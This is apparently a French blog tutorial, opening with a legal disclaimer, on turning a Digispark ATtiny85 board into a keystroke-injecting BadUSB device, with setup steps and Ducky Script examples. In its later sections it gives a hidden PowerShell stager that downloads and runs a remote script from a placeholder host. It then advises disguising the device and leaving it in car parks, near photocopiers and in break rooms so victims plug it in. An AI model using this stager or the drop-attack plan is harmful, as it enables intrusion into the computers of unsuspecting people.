Les attaques informatiques peuvent être de plusieurs types: à distance, via des failles existantes, via du social engineering et même via de simples clés USB.

Nous allons voir à travers cet article comment une simple carte Arduino peut servir de vecteur d’intrusion.

DISCLAIMER

Cet article a été rédigé à des fins d’informations et de formations. Il n’a pas pour vocation a être utilisé « sur le terrain ». Pour rappel l’article L.323-1 du code pénal prévoit que  » le fait d’accéder ou de se maintenir, frauduleusement, dans tout ou partie d’un système de traitement automatisé de données est puni d’un an d’emprisonnement et de 15 000 euros d’amende « . 

Le matériel

Nous avons plusieurs types de cartes à notre disposition. La plus connue reste la carte officielle de chez Hak5, la RubberDucky. Cette carte au format clé USB  permet l’émulation d’un clavier envoyant des touches de façon préprogrammée. Vous pourrez ainsi créer vos propres « Ducky Script » dont le langage est décrit ici.

Problème avec cette clé: son prix ! 

Second type de matériel avec lequel vous pouvez faire du « Ducky Script »: un Raspberry Zéro. Le projet s’appelle « p4wnp1 » et est documenté ici

Problème avec le Raspberry Zéro: son format n’est pas vraiment discret.

Enfin la carte qui nous intéresse est la Digispark Attiny85. Son Form Factor et son prix (4.50€ l’unité, 9.99€ les 3) en fait la candidate idéale à nos expérimentations. Son aspect électronique brut peut vite être transformé grâce à l’impression d’un boitier et ainsi la faire ressembler a une véritable clé USB (ne faites pas comme moi, le jaune est trop voyant).

Cette clé est en fait un Arduino entièrement programmable via l’IDE officiel et possédant une puce ATTiny85.

Installation et configuration de l’IDE Arduino

Afin de pouvoir programmer notre Arduino nous devons installer l’IDE officiel Arduino.

Installation sous linux

Nous téléchargerons l’archive .tar.gz de la dernière version de l’IDE. Vous retrouverez ce fichier sur le site officiel https://www.arduino.cc/en/software.

Nous décompresserons l’archive et nous installerons via le script fournis:

tar -xJf arduino-1.8.15-linux64.tar.xz
mv arduino-1.8.15 /usr/share
cd /usr/share/arduino-1.8.15
./install.sh


Configuration UDEV

Afin de s’assurer de la bonne communication de notre OS avec l’Arduino nous devrons configurer l’UDEV.

Pour cela nous éditerons le fichier /etc/udev/rules.d/49-micronucleus.rules :

sudo nano /etc/udev/rules.d/49-micronucleus.rules

# UDEV Rules for Micronucleus boards including the Digispark.
# This file must be placed at:
#
# /etc/udev/rules.d/49-micronucleus.rules    (preferred location)
#   or
# /lib/udev/rules.d/49-micronucleus.rules    (req'd on some broken systems)
#
# After this file is copied, physically unplug and reconnect the board.
#    
SUBSYSTEMS=="usb", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666"
KERNEL=="ttyACM*", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666", ENV{ID_MM_DEVICE_IGNORE}="1"
#
# If you share your linux system with other users, or just don't like the
# idea of write permission for everybody, you can replace MODE:="0666" with
# OWNER:="yourusername" to create the device owned by you, or with
# GROUP:="somegroupname" and mange access using standard unix groups.

Puis nous rechargerons les règles (il sera nécessaire d’être root):

sudo udevadm control --reload-rules

Installation de l’IDE sous Windows

Pour les systèmes Windows nous téléchargerons l’installeur sur le site officiel https://www.arduino.cc/en/software.

Nous exécuterons le fichier d’installation. Comme à l’habitude l’installation se fera en mode « Suivant Suivant Suivant »:

Ajout et installation des packages Digistump

Que ce soit sous Linux ou Windows il nous faudra installer les packages Digistump sur notre IDE.

Pour cela nous irons dans « Ficher => Préférences => URL de gestionnaire de carte » pour ajouter l’adresse suivante:

http://digistump.com/package_digistump_index.json

Puis nous installerons les nouvelles cartes via le « gestionnaire de carte » dans « Outils => Type de carte: « Arduino UNO » => Gestionnaire de carte »

Nous rechercherons et installerons « Digistump AVR Boards ».

Enfin nous activerons la carte dans « Outils => Type de carte: « Arduino UNO » => Digistump AVR Boards => Digispark (Default 16.5 Mhz) ».

Conception de l’attaque et création des scripts

Ici nous utiliserons notre Arduino comme émulateur de clavier. Pour faire simple, dès que notre Digispark sera branché il enverra la suite de touches que nous aurons programmée. 

Pour automatiser cette frappe de touches, deux possibilités s’offrent à nous. L’une consiste à coder cette suite directement dans l’IDE Arduino, l’autre (plus simple) nous permet d’utiliser le langage Ducky Script et de le convertir au bon format pour l’injecter dans la clé Digispark.

Codage direct

Nous commencerons par regarder l’exemple fourni dans l’IDE via le menu « Fichier => Exemples => DigisparkKeyboard ». Dans ce code basic nous pouvons voir une boucle envoyant toutes les 5 secondes la frappe de touche « Hello Digispark! ».

#include « DigiKeyboard.h »

void setup() {
// don’t need to set anything up to use DigiKeyboard
}

void loop() {
// this is generally not necessary but with some older systems it seems to
// prevent missing the first character after a delay:
DigiKeyboard.sendKeyStroke(0);

// Type out this string letter by letter on the computer (assumes US-style
// keyboard)
DigiKeyboard.println(« Hello Digispark! »);

// It’s better to use DigiKeyboard.delay() over the regular Arduino delay()
// if doing keyboard stuff because it keeps talking to the computer to make
// sure the computer knows the keyboard is alive and connected
DigiKeyboard.delay(5000);
}

#include "DigiKeyboard.h"

void setup() {
  // don't need to set anything up to use DigiKeyboard
}


void loop() {
  // this is generally not necessary but with some older systems it seems to
  // prevent missing the first character after a delay:
  DigiKeyboard.sendKeyStroke(0);
  
  // Type out this string letter by letter on the computer (assumes US-style
  // keyboard)
  DigiKeyboard.println("Hello Digispark!");
  
  // It's better to use DigiKeyboard.delay() over the regular Arduino delay()
  // if doing keyboard stuff because it keeps talking to the computer to make
  // sure the computer knows the keyboard is alive and connected
  DigiKeyboard.delay(5000);
}

 

Pour complexifier notre script nous pourrons utiliser les fonctions suivantes:

  • Envoyer une frappe de touche:
DigiKeyboard.sendKeyStroke();
  • Afficher une chaine de caractères:
DigiKeyboard.print ("Votre chaine de caractères");
  • Appliquer un temps entre deux envois de touches:
DigiKeyboard.delay();
  • Presser deux touches à la fois:
DigiKeyboard.sendKeyStroke(KEY_C , MOD_CONTROL_LEFT); //Copie (CTRL+C)
DigiKeyboard.sendKeyStroke(KEY_L , MOD_GUI_LEFT); //Verrouillage de Windows (Touche Windows+L)
  • Presser trois touches à la fois:
DigiKeyboard.sendKeyStroke(KEY_ENTER , MOD_CONTROL_LEFT | MOD_SHIFT LEFT); 
  • Presser la touche Windows uniquement:
DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT );
  • Vous pourrez retrouver un référentiel des touches dans le tableau suivant:
Code de touche Arduino Touche sur le clavier
MOD_CONTROL_LEFT Touche CTRL gauche
MOD_SHIFT_LEFT Touche Majuscule (SHIFT) gauche
MOD_ALT_LEFT Touche ALT gauche
MOD_GUI_LEFT Touche Windows gauche
MOD_CONTROL_RIGHT Touche CTRL droite
MOD_SHIFT_RIGHT Touche Majuscule (SHIFT) droite
MOD_ALT_RIGHT Touche ALT droite
MOD_GUI_RIGHT Touche Windows droite
KEY_ENTER Touche Entrée
KEY_SPACE Barre d’espaces
KEY_LEFT_ARROW Touche fleche gauche
KEY_RIGHT_ARROW Touche fleche droite
KEY_UP_ARROW Touche fleche haut
KEY_DOWN_ARROW Touche fleche bas
KEY_BACKSPACE Touche retour 
KEY_TAB Touche TAB
KEY_INSERT Touche Inserer
KEY_DELETE Touche Suppr
KEY_PAGE_UP Touche page haut
KEY_PAGE_DOWN Touche page bas
KEY_ESC Touche echape
KEY_HOME Touche début
KEY_END Touche fin
KEY_CAPS_LOCK Touche verrouillage majuscule
KEY_A Touche de la lettre A
KEY_B Touche de la lettre B
  Touches du pavé numérique 0 à 9
KEY_1  
KEY_2  
  Touches de fonction de F1 à F12
KEY_F1  
KEY_F2  

Langage Ducky script et conversion

Le langage Ducky Script est plus pratique à utiliser. Vous en retrouverez la documentation sur cette page https://docs.hak5.org/hc/en-us/articles/360010555153-Ducky-Script-the-USB-Rubber-Ducky-language.

Par exemple nous pourrons ouvrir un terminal de commandes, afficher « H4cked ! », et verrouiller la session:

GUI r
DELAY 300
STRING cmd
DELAY 200
ENTER
DELAY 1000
STRING H4cked !
DELAY 100
GUI l

Cependant il nous faudra convertir le script en binaire et convertir le binaire en fichier exploitable par le Digispark.
Nous pourrons réaliser cela sous linux avec les deux applications suivantes:

Nous créerons un dossier de travail nommé « digispark » puis nous récupérerons ces deux applications:

mkdir digispark
cd digispark
git clone https://github.com/hak5darren/USB-Rubber-Ducky.git
git clone https://github.com/mame82/duck2spark.git

Nous créerons un script au format Rubber Ducky:

nano script.txt

GUI r 
DELAY 300 
STRING cmd 
DELAY 200 
ENTER 
DELAY 1000 
STRING H4cked ! 
DELAY 100 GUI l

Nous encoderons le script en binaire:

java -jar USB-Rubber-Ducky/duckencoder.jar -i script_ducky.txt -o script_ducky.bin -l fr
<code class=" language-bash">Hak5 Duck Encoder 2.6.3

Loading File .....              [ OK ]
Loading Keyboard File .....     [ OK ]
Loading Language File .....     [ OK ]
Loading DuckyScript .....       [ OK ]
DuckyScript Complete.....       [ OK ]

# -i input du script ducky
# -o output du script ducky encodé en binaire
# -l langue du clavier (francais dans l'exemple)

Nous compilerons le binaire au format digispark:

python duck2spark/duck2spark.py -i script_ducky.bin -l 1 -f 2000 -o Payload.bin

# -i fichier en entrée
# -o fichier en sortie
# -l compteur de boucle (si besoin de faire une boucle) # -f delai en ms avant de lancer le payload (par défaut 1000 ms)

Une fois compilé nous copierons et nous collerons le contenu du fichier Payload.bin dans l’IDE Arduino.

Téléverser le code dans le Digispark

Pour envoyer le code dans le Digispark nous irons dans Croquis => Téléverser

 

Complexifier son attaque

Le script utilisé ci dessus est relativement simple et sans conséquence. Cependant nous pourrons utiliser la clé Digispark comme un « stager ». Autrement dit la clé servira à lancer des commandes qui permettront de récupérer un script powershell et qui l’exécutera sur la machine.

Nous pourrons donc utiliser le script RubberDucky suivant:

GUI r
DELAY 300
STRING powershell.exe -exec bypass -w hidden -nop -c "iex(New-Object System.Net.WebClient).DownloadString('https://votrehebergement.fr/votrescript.ps1')"
DELAY 200
ENTER
DELAY 1000
GUI l

Dans notre exemple nous téléchargerons le script votrescript.ps1 à partir du domaine web https://votrehebergement.fr/

Ressources et exemples de script

Pour les plus feignants d’entre nous, nous pourrons retrouver de nombreux exemples de scripts aux adresses suivantes:

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

https://ducktoolkit.com/

Laisser les autres s’attaquer eux-mêmes

Une fois notre clé préparée le scénario d’attaque est simple. On camoufle le Digispark pour le faire ressembler au maximum à une clé USB. Pour cela nous pourrons envisager de souder chaque patte USB du Digispark à un embout USB type A ou imprimer en 3D un boitier de ce type https://www.thingiverse.com/thing:2347216.

Enfin il ne vous restera plus qu’à déposer votre clé aux endroits stratégiques: parking, photocopieuse, salle de pause etc…

 

Comments are closed